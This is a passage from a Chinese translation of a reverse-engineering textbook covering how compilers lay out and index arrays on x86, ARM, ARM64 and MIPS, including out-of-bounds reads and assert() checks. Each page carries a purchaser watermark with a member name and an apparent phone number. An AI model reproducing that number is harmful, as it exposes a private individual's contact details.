DCB "May",0 DCB "June",0 DCB "July",0 DCB "August",0 DCB "September",0 DCB "October",0 DCB "November",0 DCB "December",0 AREA ||.data||, DATA, ALIGN=2 month1 DCD ||.conststring|| DCD ||.conststring||+0x8 DCD ||.conststring||+0x11 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 241 DCD ||.conststring||+0x17 DCD ||.conststring||+0x1d DCD ||.conststring||+0x21 DCD ||.conststring||+0x26 DCD ||.conststring||+0x2b DCD ||.conststring||+0x32 DCD ||.conststring||+0x3c DCD ||.conststring||+0x44 DCD ||.conststring||+0x4d 数据表的首地址存储于 R1 寄存器。其余元素的指针地址则通过 LDR 指令现场计算。实参 month 在左 移 2 位之后与 R1 的值(表地址)相加,从而计算出地址表中的指针地址。此后,再用这个指针在 32 位地 址表中进行查询,把最终的字符串地址存储在 R0 寄存器里。 Thumb 模式的 ARM 程序 由于在 Thumb 模式里的 LDR 指令不能进行 LSL 运算,所以代码略长一些。 get_month1 PROC LSLS r0,r0,#2 LDR r1,|L0.64| LDR r0,[r1,r0] BX lr ENDP 18.5.4 ARM64 指令清单 18.13 Optimizing GCC 4.9 ARM64 get_month1: adrp x1, .LANCHOR0 add x1, x1, :lo12:.LANCHOR0 ldr x0, [x1,w0,sxtw 3] ret .LANCHOR0 = . + 0 .type month1, %object .size month1, 96 month1: .xword .LC2 .xword .LC3 .xword .LC4 .xword .LC5 .xword .LC6 .xword .LC7 .xword .LC8 .xword .LC9 .xword .LC10 .xword .LC11 .xword .LC12 .xword .LC13 .LC2: .string "January" .LC3: .string "February" .LC4: .string "March" .LC5: .string "April" .LC6: .string "May" .LC7: .string "June" .LC8: .string "July" .LC9: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 242 逆向工程权威指南(上册) .string "August" .LC10: .string "September" .LC11: .string "October" .LC12: .string "November" .LC13: .string "December" 表地址由 ADRP/ADD 指令对传送到 X1 寄存器。然后,单条 LDR 指令完成表查询的运算。它把 W0 寄存器(传递实参 month)的值左移 3 位(相当于乘以 8),将其进行有符号数扩展(sxtw 后缀的含义)并 与 X0 寄存器的值相加。通过表查询获取的 64 位运算结果最终存储在 X0 寄存器里。 18.5.5 MIPS 指令清单 18.14 Optimizing GCC 4.4.5 (IDA) get_month1: ; load address of table into $v0: la $v0, month1 ; take input value and multiply it by 4: sll $a0, 2 ; sum up address of table and multiplied value: addu $a0, $v0 ; load table element at this address into $v0: lw $v0, 0($a0) ; return jr $ra or $at, $zero ; branch delay slot, NOP .data # .data.rel.local .globl month1 month1: .word aJanuary # "January" .word aFebruary # "February" .word aMarch # "March" .word aApril # "April" .word aMay # "May" .word aJune # "June" .word aJuly # "July" .word aAugust # "August" .word aSeptember # "September" .word aOctober # "October" .word aNovember # "November" .word aDecember # "December" .data # .rodata.str1.4 aJanuary: .ascii "January"<0> aFebruary: .ascii "February"<0> aMarch: .ascii "March"<0> aApril: .ascii "April"<0> aMay: .ascii "May"<0> aJune: .ascii "June"<0> aJuly: .ascii "July"<0> aAugust: .ascii "August"<0> aSeptember: .ascii "September"<0> aOctober: .ascii "October"<0> aNovember: .ascii "November"<0> aDecember: .ascii "December"<0> 18.5.6 数组溢出 本例参数的取值范围是 0~11。如果输入值为 12,会发生什么情况?虽然查询表里没有对应的值,但 是程序还是会计算、取值并返回结果,只是返回值不可预料。如果其他函数访问这种超越数据边界的地址, 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 243 那么在读取字符串地址时可能引发程序崩溃。 本文通过 MSVC 编译器生成一个 Win64 程序,然后使用 IDA 打开这个可执行程序,观察编译器的 linker 组件在数组后面存储了哪些信息: 指令清单 18.15 在 IDA 里观察问题程序 off_140011000 dq offset aJanuary_1 ; DATA XREF: .text:0000000140001003 ; "January" dq offset aFebruary_1 ; "February" dq offset aMarch_1 ; "March" dq offset aApril_1 ; "April" dq offset aMay_1 ; "May" dq offset aJune_1 ; "June" dq offset aJuly_1 ; "July" dq offset aAugust_1 ; "August" dq offset aSeptember_1 ; "September" dq offset aOctober_1 ; "October" dq offset aNovember_1 ; "November" dq offset aDecember_1 ; "December" aJanuary_1 db 'January',0 ; DATA XREF: sub_140001020+4 ; .data:off_140011000 aFebruary_1 db 'February',0 ; DATA XREF: .data:0000000140011008 align 4 aMarch_1 db 'March',0 ; DATA XREF: .data:0000000140011010 align 4 aApril_1 db 'April',0 ; DATA XREF: .data:0000000140011018 本例的程序很小,所以数据段里的信息以月份名称为主,没有什么其他信息。但是应当注意的是,linker 可能在实际生成的程序中安插“任何信息”。 输入值为 12 时会发生什么情况?程序应当返回数组首地址之后的第 13 个元素。我们一起来看 CPU 是 如何处理第“13”个元素的那个 64 位值: 指令清单 18.16 Executable file in IDA off_140011000 dq offset qword_140011060 ; DATA XREF: .text:0000000140001003 dq offset aFebruary_1 ; "February" dq offset aMarch_1 ; "March" dq offset aApril_1 ; "April" dq offset aMay_1 ; "May" dq offset aJune_1 ; "June" dq offset aJuly_1 ; "July" dq offset aAugust_1 ; "August" dq offset aSeptember_1 ; "September" dq offset aOctober_1 ; "October" dq offset aNovember_1 ; "November" dq offset aDecember_1 ; "December" qword_140011060 dq 797261756E614Ah ; DATA XREF: sub_140001020+4 ; .data:off_140011000 aFebruary_1 db 'February',0 ; DATA XREF: .data:0000000140011008 align 4 aMarch_1 db 'March',0 ; DATA XREF: .data:0000000140011010 那个地址的值是 0x797261756E614A。假如某个函数以字符串指针的格式访问这个地址,那么整个程 序多半会立即崩溃。毕竟这个值不太会是一个有效地址。 数组溢出保护 如果指望调用函数的用户能够保证参数不超出正常的取值范围,那么这个程序员真的算得上是很傻很天真 了。在编程领域里,成熟的应用程序应当具备“Fail Early, Fail Loudly”或“Fail-fast”这类的早期错误处理功能。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 244 逆向工程权威指南(上册) C/C++ assertions 就是处理手段之一。我们可以修改源程序,令其验证输入参数是否在预期范围之内。 指令清单 18.17 assert() added const char* get_month1_checked (int month) { assert (month<12); return month1[month]; }; 只要在函数启动的时候调用一个验证参数有效性的 assert()函数,那么当输入值在取值区间之外时,程 序将进行异常处理。 指令清单 18.18 Optimizing MSVC 2013 x64 $SG3143 DB 'm', 00H, 'o', 00H, 'n', 00H, 't', 00H, 'h', 00H, '.', 00H DB 'c', 00H, 00H, 00H $SG3144 DB 'm', 00H, 'o', 00H, 'n', 00H, 't', 00H, 'h', 00H, '<', 00H DB '1', 00H, '2', 00H, 00H, 00H month$ = 48 get_month1_checked PROC $LN5: push rbx sub rsp, 32 movsxd rbx, ecx cmp ebx, 12 jl SHORT $LN3@get_month1 lea rdx, OFFSET FLAT:$SG3143 lea rcx, OFFSET FLAT:$SG3144 mov r8d, 29 call _wassert $LN3@get_month1: lea rcx, OFFSET FLAT:month1 mov rax, QWORD PTR [rcx+rbx*8] add rsp, 32 pop rbx ret 0 get_month1_checked ENDP 严格地说,assert()只能算作宏而不能算作函数。它对条件表达式进行判断,然后把行号信息和文件名 信息传递给另外一个函数,并由后者向用户进行提示。 在可执行程序里,我们可以看到以 UTF-16 格式封装文件名和条件表达式,以及 assert()在原文件中的 行号(29)。 所有编译器在编译 assert 宏时的处理机制基本都大同小异。本文仅演示 GCC 的编译结果。 指令清单 18.19 Optimizing GCC 4.9 x64 .LC1: .string "month.c" .LC2: .string "month<12" get_month1_checked: cmp edi, 11 jg .L6 movsx rdi, edi mov rax, QWORD PTR month1[0+rdi*8] ret .L6: push rax mov ecx, OFFSET FLAT:__PRETTY_FUNCTION__.2423 mov edx, 29 mov esi, OFFSET FLAT:.LC1 mov edi, OFFSET FLAT:.LC2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 245 call __assert_fail __PRETTY_FUNCTION__.2423: .string "get_month1_checked" 从中可知,GCC 向异常处理函数传递了其调用方函数的函数名称。 这种边界检查其实存在很明显的开销问题。它会降低程序的运行速度——在调用间隔较短的时间敏感 函数上使用 assert()宏,性能影响会非常大。以 MSVC 为例,Debug 版的 MSVC 还存在大量的 assert(),而 最终发行版的 MSVC 里就不再使用这个宏了。 微软 Windows NT 内核也有“checked”和“free”两个版本。前一个版本还存在输入值的边界检查, 而后面的第二版就不再使用 asssert()了。 18.6 多维数组 多维数组和线性数组在本质上是相同的。 计算机内存是连续的线性空间,它可以与一维数组直接对应。在被拆分成多个一维数组之后,多维数 组与内栈线性空间同样存在直接对应的存储关系。 举例来说,二维数组 a[3][4]可转化为 a[12]这样的一个 12 个元素一维数组,如表 18.1 所示。 表 18.1 使用一维数组表示二维数组 存储地址 数组元素 0 [0] [0] 1 [0] [1] 2 [0] [2] 3 [0] [3] 4 [1] [0] 5 [1] [1] 6 [1] [2] 7 [1] [3] 8 [2] [0] 9 [2] [1] 10 [2] [2] 11 [2] [3] 在内存之中,3×4 的二维数组将依次存储为连续的 12 个元素,如表 18.2 所示。 表 18.2 二维数组在内存中的存储逻辑 0 1 2 3 4 5 6 7 8 9 10 11 在计算上述数组中某个特定元素的内存存储编号时,可以先将二维索引号的第一个索引号乘以 4(矩 阵宽度),而后加上第二个索引号。这种方式就是 C/C++、Python 所用的“行优先的顺序”(row-majororder)。 所谓行优先,就是先用第一行排满第一个索引号下的所有元素,然后再依次编排其他各行。 相应地,也有“列优先的顺序”(column-major order)。Fortran、Matlab、R 语言就使用了这种顺序。这 种顺序优先使用列的存储空间。 这两种优先的顺序孰优孰劣?从性能及缓存的角度来看,与数据的存储方案(scheme)和组织方式(data organization)匹配的优先顺序最优。只要相互匹配,那么程序就可以连续访问数据,整体性能就会提高。 所以,如果程序以“逐行”的方式访问数据,那么就应当以行优先的顺序组织数组;反之亦然。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 246 逆向工程权威指南(上册) 18.6.1 二维数组举例 本例用 char 类型数据构造一个二维数组,其中每个数组元素都占用 1 字节内存。 以行优先的顺序填充数据 下面这个例子将用数字“0~3”填充数组的第二行。 指令清单 18.20 逐行填充数据 #include <stdio.h> char a[3][4]; int main() { int x, y; //清空数组 for (x=0; x<3; x++) for (y=0; y<4; y++) a[x][y]=0 //填充第二行 for (y=0; y<4; y++) a[1][y]=y; }; 图 18.7 中所示的 3 个红圈代表 3 个不同的行。我们可以看到第二行的值是 0、1、2、3。 图 18.7 OllyDbg:填充数据后的数组 以列优先的顺序填充数据 下列程序将数组的第三列填充为 0、1、2。 指令清单 18.21 逐列填充数据 #include <stdio.h> char a[3][4]; int main() { int x, y; // 清空数组 for (x=0; x<3; x++) for (y=0; y<4; y++) a[x][y]=0; //填充第 3 列 for (x=0; x<3; x++) a[x][2]=x; }; 图 18.8 中所示的 3 个红圈代表 3 个不同的行。各行的第三列分别是 0、1、2。 图 18.8 OllyDbg:填充数据之后的数组 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 247 18.6.2 以一维数组的方式访问二维数组 以一维数组的方式访问二维数组的方法至少有两种。 #include <stdio.h> char a[3][4]; char get_by_coordinates1 (char array[3][4], int a, int b) { return array[a][b]; }; char get_by_coordinates2 (char *array, int a, int b) { // treat input array as one-dimensional // 4 is array width here return array[a*4+b]; }; char get_by_coordinates3 (char *array, int a, int b) { // treat input array as pointer, // calculate address, get value at it // 4 is array width here return *(array+a*4+b); }; int main() { a[2][3]=123; printf ("%d\n", get_by_coordinates1(a, 2, 3)); printf ("%d\n", get_by_coordinates2(a, 2, 3)); printf ("%d\n", get_by_coordinates3(a, 2, 3)); }; 编译并运行上述程序,可观测到数组元素的相应数值。 MSVC 2013 的编译方法可圈可点,三个函数的指令完全一致。 指令清单 18.22 Optimizing MSVC 2013 x64 array$ = 8 a$ = 16 b$ = 24 get_by_coordinates3 PROC ; RCX=address of array ; RDX=a ; R8=b movsxd rax, r8d ; EAX=b movsxd r9, edx ; R9=a add rax, rcx ; RAX=b+address of array movzx eax, BYTE PTR [rax+r9*4] ; AL=load byte at address RAX+R9*4=b+address of array+a*4=address of array+a*4+b ret 0 get_by_coordinates3 ENDP array$ = 8 a$ = 16 b$ = 24 get_by_coordinates2 PROC movsxd rax, r8d movsxd r9, edx add rax, rcx movzx eax, BYTE PTR [rax+r9*4] ret 0 get_by_coordinates2 ENDP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 248 逆向工程权威指南(上册) array$ = 8 a$ = 16 b$ = 24 get_by_coordinates1 PROC movsxd rax, r8d movsxd r9, edx add rax, rcx movzx eax, BYTE PTR [rax+r9*4] ret 0 get_by_coordinates1 ENDP GCC 会生成等效的指令,只是各函数的指令略有区别。 指令清单 18.23 Optimizing GCC 4.9 x64 ; RDI=address of array ; RSI=a ; RDX=b get_by_coordinates1: ; sign-extend input 32-bit int values "a" and "b" to 64-bit ones movsx rsi, esi movsx rdx, edx lea rax, [rdi+rsi*4] ; RAX=RDI+RSI*4=address of array+a*4 movzx eax, BYTE PTR [rax+rdx] ; AL=load byte at address RAX+RDX=address of array+a*4+b ret get_by_coordinates2: lea eax, [rdx+rsi*4] ; RAX=RDX+RSI*4=b+a*4 cdqe movzx eax, BYTE PTR [rdi+rax] ; AL=load byte at address RDI+RAX=address of array+b+a*4 ret get_by_coordinates3: sal esi, 2 ; ESI=a<<2=a*4 ; sign-extend input 32-bit int values "a*4" and "b" to 64-bit ones movsx rdx, edx movsx rsi, esi add rdi, rsi ; RDI=RDI+RSI=address of array+a*4 movzx eax, BYTE PTR [rdi+rdx] ; AL=load byte at address RDI+RDX=address of array+a*4+b ret 18.6.3 三维数组 多维数组的情况也差不多。 在下面的例子里,我们演示一个由整型数据构成的三维数组,每个整数元素占用 4 字节内存。 我们来看如下所示的指令。 指令清单 18.24 simple example #include <stdio.h> int a[10][20][30]; void insert(int x, int y, int z, int value) { a[x][y][z]=value; }; x86 用 MSVC 2010 编译后,这个函数对应的汇编代码如下所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 249 指令清单 18.25 MSVC 2010 _DATA SEGMENT COMM _a:DWORD:01770H _DATA ENDS PUBLIC _insert _TEXT SEGMENT _x$ = 8 ; size = 4 _y$=12 ; size = 4 _z$=16 ; size = 4 _value$ = 20 ; size = 4 _insert PROC push ebp mov ebp, esp mov eax, DWORD PTR _x$[ebp] imul eax, 2400 ; eax=600*4*x mov ecx, DWORD PTR _y$[ebp] imul ecx, 120 ; ecx=30*4*y lea edx, DWORD PTR _a[eax+ecx]; edx=a + 600*4*x + 30*4*y mov eax, DWORD PTR _z$[ebp] mov ecx, DWORD PTR _value$[ebp] mov DWORD PTR [edx+eax*4], ecx; *(edx+z*4)=value pop ebp ret 0 _insert ENDP _TEXT ENDS 中规中矩。对于三维数组(int a[x][y][z];)来说,计算各元素指针地址的公式是:数组元素地址=600×4x + 30×4y + 4z。32 位系统里 int 类型是 32 位(4 字节)数据,所以要每项都要乘以 4。 使用 GCC 4.4.1 编译上述程序可得如下所示的指令。 指令清单 18.26 GCC 4.4.1 public insert insert proc near x = dword ptr 8 y = dword ptr 0Ch z = dword ptr 10h value = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+x] mov eax, [ebp+y] mov ecx, [ebp+z] lea edx, [eax+eax] ; edx=y*2 mov eax, edx ; eax=y*2 shl eax, 4 ; eax=(y*2)<<4 = y*2*16 = y*32 sub eax, edx ; eax=y*32 - y*2=y*30 imul edx, ebx, 600 ; edx=x*600 add eax, edx ; eax=eax+edx=y*30 + x*600 lea edx, [eax+ecx] ; edx=y*30 + x*600 + z mov eax, [ebp+value] mov dword ptr ds:a[edx*4], eax ; *(a+edx*4)=value pop ebx pop ebp retn insert endp GCC 的处理方法和 MSVC 不同。在计算 30y 的时候,GCC 没有使用乘法指令。它的计算公式是(y + y) << 4 − (y + y) = (2 y)<< 4 − 2 y = 2×16y − 2 y = 32 y − 2 y = 30 y。可见,GCC 组合了加法、位移和减法运 算,替代了 MSVC 采用的乘法运算。GCC 算法的运算速度比直接进行乘法运算的速度还要快。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 250 逆向工程权威指南(上册) ARM + Non-optimizing Xcode 4.6.3 (LLVM) (Thumb mode) 指令清单 18.27 Non-optimizing Xcode 4.6.3 (LLVM) (Thumb mode) _insert value = -0x10 z = -0xC y =-8 x =-4 ; allocate place in local stack for 4 values of int type SUB SP, SP, #0x10 MOV R9, 0xFC2 ; a ADD R9, PC LDR.W R9, [R9] ; get pointer to array STR R0, [SP,#0x10+x] STR R1, [SP,#0x10+y] STR R2, [SP,#0x10+z] STR R3, [SP,#0x10+value] LDR R0, [SP,#0x10+value] LDR R1, [SP,#0x10+z] LDR R2, [SP,#0x10+y] LDR R3, [SP,#0x10+x] MOV R12, 2400 MUL.W R3, R3, R12 ADD R3, R9 MOV R9, 120 MUL.W R2, R2, R9 ADD R2, R3 LSLS R1, R1, #2 ; R1=R1<<2 ADD R1, R2 STR R0, [R1] ; R1 - address of array element ; deallocate place in local stack, allocated for 4 values of int type ADD SP, SP, #0x10 BX LR 在不启用优化选项的情况下,LLVM 使用栈保存所有变量。当然这样的程序运行效率不怎么好。在数 组方面,计算各元素的内存地址的方法和前文相同。 ARM + Optimizing Xcode 4.6.3 (LLVM) + Thumb mode 启用优化选项后,使用 LLVM 以 Thumb 模式编译上述程序可得到如下所示的指令。 指令清单 18.28 Optimizing Xcode 4.6.3 (LLVM) (Thumb mode) _insert MOVW R9, #0x10FC MOV.W R12, #2400 MOVT.W R9, #0 RSB.W R1,R1,R1,LSL#4 ;R1-y.R1=y<<4-y=y*16-y=y*15 ADD R9, PC LDR.W R9, [R9] ; R9 = pointer to a array MLA.W R0, R0, R12, R9 ; R0 - x, R12 - 2400, R9 - pointer to a. R0=x*2400 + ptr to a ADD.W R0, R0, R1,LSL#3 ; R0 = R0+R1<<3 = R0+R1*8 = x*2400 + ptr to a + y*15*8 = ; ptr to a + y*30*4 + x*600*4 STR.W R3, [R0,R2,LSL#2] ; R2 - z, R3 - value. address=R0+z*4 = BX LR ; ptr to a + y*30*4 + x*600*4 + z*4 LLVM 也用到了 GCC 的地址计算方法,组合了加法、位移、减法三种运算。 其中的“RSB(Reverse Subtract)”指令尚未在前面介绍过。RSB 指令称为逆向减法指令,用于把操作数 2(第 三个参数)减去操作数 1(第二个参数),并将结果存放到目的寄存器中。为什么专门从 SUB 指令里派生出 RSB 指令呢?这是因为 SUB 和 RSB 都只能对第二个操作数进行位移运算。如果要使用 SUB 指令,则 LSL#4 就要写 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 251 在第 1 个操作数后面,会造成识别上的混乱。而 RSB 指令替换了减数和被减数的位置,从而避免了这个问题。 “LDR.W R9, [R9]”指令和 x86 的 LEA 指令相似。只是这里的这条指令不影响计算结果,所以是冗余 代码。很明显,编译器没有进行相应优化。 MIPS 因为源程序很小的缘故,GCC 以全局指针 GP 在 64KB 可寻址空间进行表查询。 指令清单 18.29 Optimizing GCC 4.4.5 (IDA) insert: ; $a0=x ; $a1=y ; $a2=z ; $a3=value sll $v0, $a0, 5 ; $v0 = $a0<<5 = x*32 sll $a0, 3 ; $a0 = $a0<<3 = x*8 addu $a0, $v0 ; $a0 = $a0+$v0 = x*8+x*32 = x*40 sll $v1, $a1, 5 ; $v1 = $a1<<5 = y*32 sll $v0, $a0, 4 ; $v0 = $a0<<4 = x*40*16 = x*640 sll $a1, 1 ; $a1 = $a1<<1 = y*2 subu $a1, $v1, $a1 ; $a1 = $v1-$a1 = y*32-y*2 = y*30 subu $a0, $v0, $a0 ; $a0 = $v0-$a0 = x*640-x*40 = x*600 la $gp, __gnu_local_gp addu $a0, $a1, $a0 ; $a0 = $a1+$a0 = y*30+x*600 addu $a0, $a2 ; $a0 = $a0+$a2 = y*30+x*600+z ; load address of table: lw $v0, (a & 0xFFFF)($gp) ; multiply index by 4 to seek array element: sll $a0, 2 ; sum up multiplied index and table address: addu $a0, $v0, $a0 ; store value into table and return: jr $ra sw $a3, 0($a0) .comm a:0x1770 18.6.4 更多案例 计算机的显示屏幕是一个 2D 显示空间,但是显存却是一个一维线性数组。 本书第 83 章将详细介绍有关内容。 18.7 二维字符串数组的封装格式 在指令清单 18.8 所示的程序里,如果要制备指向月份名称的指针,就必须要进行一次以上的内存操作。 有没有可能略去这步内存加载的内存操作?只要把二维数组进行相应处理,即可省略有关操作。 #include <stdio.h> #include <assert.h> 异步社区会员 dearfuture(15918834820) 专享 尊重版权 252 逆向工程权威指南(上册) const char month2[12][10]= { { 'J','a','n','u','a','r','y', 0, 0, 0 }, { 'F','e','b','r','u','a','r','y', 0, 0 }, { 'M','a','r','c','h', 0, 0, 0, 0, 0 }, { 'A','p','r','i','l', 0, 0, 0, 0, 0 }, { 'M','a','y', 0, 0, 0, 0, 0, 0, 0 }, { 'J','u','n','e', 0, 0, 0, 0, 0, 0 }, { 'J','u','l','y', 0, 0, 0, 0, 0, 0 }, { 'A','u','g','u','s','t', 0, 0, 0, 0 }, { 'S','e','p','t','e','m','b','e','r', 0 }, { 'O','c','t','o','b','e','r', 0, 0, 0 }, { 'N','o','v','e','m','b','e','r', 0, 0 }, { 'D','e','c','e','m','b','e','r', 0, 0 } }; // in 0..11 range const char* get_month2 (int month) { return &month2[month][0]; }; 编译上述程序可得如下所示的指令。 指令清单 18.30 Optimizing MSVC 2013 x64 month2 DB 04aH DB 061H DB 06eH DB 075H DB 061H DB 072H DB 079H DB 00H DB 00H DB 00H ... get_month2 PROC ; sign-extend input argument and promote to 64-bit value movsxd rax, ecx lea rcx, QWORD PTR [rax+rax*4] ; RCX=month+month*4=month*5 lea rax, OFFSET FLAT:month2 ; RAX=pointer to table lea rax, QWORD PTR [rax+rcx*2] ; RAX=pointer to table + RCX*2=pointer to table + month*5*2=pointer to table + month*10 ret 0 get_month2 ENDP 上 述 程 序 完 全 不 访 问 内 存 。 整 个 函 数 的 功 能 , 只 是 计 算 月 份 名 称 字 符 串 的 首 字 母 指 针 pointer_to_the_table+month*10。它使用单条 LEA 指令,替代了多条 MUL 和 MOV 指令。 上述数组的每个字符串都占用 10 字节空间。最长的字符串由“September”和内容为零的字节构成, 其余的字符串使用零字节对齐,所以每个字符串都占用 10 个字节。如此一来,计算字符串首地址的方式变 得简单,整个函数的效率也会有所提高。 使用 GCC 4.9 进行优化编译,程序的指令甚至会更少。 指令清单 18.31 Optimizing GCC 4.9 x64 movsx rdi, edi lea rax, [rdi+rdi*4] lea rax, month2[rax+rax] ret 它同样使用 LEA 指令进行“乘以 10”的运算。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 253 若由 GCC 进行非优化编译,那么乘法运算的实现方式将会有所不同。 指令清单 18.32 Non-optimizing GCC 4.9 x64 get_month2: push rbp mov rbp, rsp mov DWORD PTR [rbp-4], edi mov eax, DWORD PTR [rbp-4] movsx rdx, eax ; RDX = sign-extended input value mov rax, rdx ; RAX = month sal rax, 2 ; RAX = month<<2 = month*4 add rax, rdx ; RAX = RAX+RDX = month*4+month = month*5 add rax, rax ; RAX = RAX*2 = month*5*2 = month*10 add rax, OFFSET FLAT:month2 ; RAX = month*10 + pointer to the table pop rbp ret 而在不开启优化选项的情况下,MSVC 编译器会直接使用 IMUL 指令。 指令清单 18.33 Non-optimizing MSVC 2013 x64 month$ = 8 get_month2 PROC mov DWORD PTR [rsp+8], ecx movsxd rax, DWORD PTR month$[rsp] ; RAX = sign-extended input value into 64-bit one imul rax, rax, 10 ; RAX = RAX*10 lea rcx, OFFSET FLAT:month2 ; RCX = pointer to the table add rcx, rax ; RCX = RCX+RAX = pointer to the table+month*10 mov rax, rcx ; RAX = pointer to the table+month*10 mov ecx, 1 ; RCX = 1 imul rcx, rcx, 0 ; RCX = 1*0 = 0 add rax, rcx ; RAX = pointer to the table+month*10 + 0 = pointer to the table+month*10 ret 0 get_month2 ENDP 不过此处有些令人费解:为什么 RCX 要乘以零,再把零加在最终结果里?虽然说它不影响最终运行 结果,但是也足以说是编译器的某种怪癖了。本文刻意演示这种怪癖代码,是希望读者不要拘泥于编译器 生成的指令的形式,而要从编程人员的角度理解程序的源代码。 18.7.1 32 位 ARM 由 Keil 优化编译而生成的 Thumb 模式程序,会直接使用乘法运算指令 MULS。 指令清单 18.34 Optimizing Keil 6/2013 (Thumb mode) ; R0 = month MOVS r1,#0xa ; R1 = 10 MULS r0,r1,r0 ; R0 = R1*R0 = 10*month 异步社区会员 dearfuture(15918834820) 专享 尊重版权 254 逆向工程权威指南(上册) LDR r1,|L0.68| ; R1 = pointer to the table ADDS r0,r0,r1 ; R0 = R0+R1 = 10*month + pointer to the table BX lr 而优化编译生成的 ARM 模式程序,会使用加法运算和位移操作指令。 指令清单 18.35 Optimizing Keil 6/2013 (ARM mode) ; R0 = month LDR r1,|L0.104| ; R1 = pointer to the table ADD r0,r0,r0,LSL #2 ; R0 = R0+R0<<2 = R0+R0*4 = month*5 ADD r0,r1,r0,LSL #1 ; R0 = R1+R0<<2 = pointer to the table + month*5*2 = pointer to the table + month*10 BX lr 18.7.2 ARM64 指令清单 18.36 Optimizing GCC 4.9 ARM64 ; W0 = month sxtw x0, w0 ; X0 = sign-extended input value adrp x1, .LANCHOR1 add x1, x1, :lo12:.LANCHOR1 ; X1 = pointer to the table add x0, x0, x0, lsl 2 ; X0 = X0+X0<<2 = X0+X0*4 = X0*5 add x0, x1, x0, lsl 1 ; X0 = X1+X0<<1 = X1+X0*2 = pointer to the table + X0*10 ret SXTW 指令把 32 位有符号数据扩展为 64 位有符号数据,并将之存储于 X0 寄存器。ADRP/ADD 指令 对则负责数组寻址。ADD 指令中的 LSL 后缀用于进行乘法运算。 18.7.3 MIPS 指令清单 18.37 Optimizing GCC 4.4.5 (IDA) .globl get_month2 get_month2: ; $a0=month sll $v0, $a0, 3 ; $v0 = $a0<<3 = month*8 sll $a0, 1 ; $a0 = $a0<<1 = month*2 addu $a0, $v0 ; $a0 = month*2+month*8 = month*10 ; load address of the table: la $v0, month2 ; sum up table address and index we calculated and return: jr $ra addu $v0, $a0 month2: .ascii "January"<0> .byte 0, 0 aFebruary: .ascii "February"<0> .byte 0 aMarch: .ascii "March"<0> .byte 0, 0, 0, 0 aApril: .ascii "April"<0> .byte 0, 0, 0, 0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 255 aMay: .ascii "May"<0> .byte 0, 0, 0, 0, 0, 0 aJune: .ascii "June"<0> .byte 0, 0, 0, 0, 0 aJuly: .ascii "July"<0> .byte 0, 0, 0, 0, 0 aAugust: .ascii "August"<0> .byte 0, 0, 0 aSeptember: .ascii "September"<0> aOctober: .ascii "October"<0> .byte 0, 0 aNovember: .ascii "November"<0> .byte 0 aDecember: .ascii "December"<0> .byte 0, 0, 0, 0, 0, 0, 0, 0, 0 18.7.4 总结 字符串存储技术属于经典的数组技术。Oracle RDBMS 的程序中就大量使用了这种技术。虽然当代计 算机程序中可能很少应用这种数组技术了,但是字符串型数据可充分演示数组的各方面特点。 18.8 本章小结 在内存中,数组就是依次排列的一组同类型数据。数组元素可以是任意类型的数据,甚至可以是结构 体型的数据。如果要访问数组中的特定元素,首先就要计算其地址。 18.9 练习题 18.9.1 题目 1 请描述下述代码的功能。 指令清单 18.38 MSVC 2010+/O1 _a$ = 8 ; size = 4 _b$ = 12 ; size = 4 _c$ = 16 ; size = 4 ?s@@YAXPAN00@Z PROC; s, COMDAT mov eax, DWORD PTR _b$[esp-4] mov ecx, DWORD PTR _a$[esp-4] mov edx, DWORD PTR _c$[esp-4] push esi push edi sub ecx, eax sub edx, eax mov edi, 200 ; 000000c8H $LL6@s: push 100 ; 00000064H pop esi $LL3@s: fld QWORD PTR [ecx+eax] fadd QWORD PTR [eax] fstp QWORD PTR [edx+eax] add eax, 8 dec esi jne SHORT $LL3@s dec edi jne SHORT $LL6@s 异步社区会员 dearfuture(15918834820) 专享 尊重版权 256 逆向工程权威指南(上册) pop edi pop esi ret 0 ?s@@YAXPAN00@Z ENDP ; s /O1 代表 minimize space,即生成最小长度的程序。 通过 Keil 5.03 (启用优化选项-O3)编译而得的 ARM 模式代码如下所示。 指令清单 18.39 Optimizing Keil 6/2013 (ARM mode) PUSH {r4-r12,lr} MOV r9,r2 MOV r10,r1 MOV r11,r0 MOV r5,#0 |L0.20| ADD r0,r5,r5,LSL #3 ADD r0,r0,r5,LSL #4 MOV r4,#0 ADD r8,r10,r0,LSL #5 ADD r7,r11,r0,LSL #5 ADD r6,r9,r0,LSL #5 |L0.44| ADD r0,r8,r4,LSL #3 LDM r0,{r2,r3} ADD r1,r7,r4,LSL #3 LDM r1,{r0,r1} BL __aeabi_dadd ADD r2,r6,r4,LSL #3 ADD r4,r4,#1 STM r2,{r0,r1} CMP r4,#0x64 BLT |L0.44| ADD r5,r5,#1 CMP r5,#0xc8 BLT |L0.20| POP {r4-r12,pc} 指令清单 18.40 Optimizing Keil 6/2013 (Thumb mode) PUSH {r0-r2,r4-r7,lr} MOVS r4, #0 SUB sp, sp, #8 |L0.6| MOVS r1,#0x19 MOVS r0,r4 LSLS r1,r1,#5 MULS r0,r1,r0 LDR r2,[sp,#8] LDR r1,[sp,#0xc] ADDS r2,r0,r2 STR r2,[sp,#0] LDR r2,[sp,#0x10] MOVS r5,#0 ADDS r7,r0,r2 ADDS r0,r0,r1 STR r0,[sp,#4] |L0.32| LSLS r6,r5,#3 ADDS r0,r0,r6 LDM r0!,{r2,r3} LDR r0,[sp,#0] ADDS r1,r0,r6 LDM r1,{r0,r1} BL __aeabi_dadd ADDS r2,r7,r6 ADDS r5,r5,#1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 257 STM r2!,{r0,r1} CMP r5,#0x64 BGE |L0.62| LDR r0,[sp,#4] B |L0.32| |L0.62| ADDS r4,r4,#1 CMP r4,#0xc8 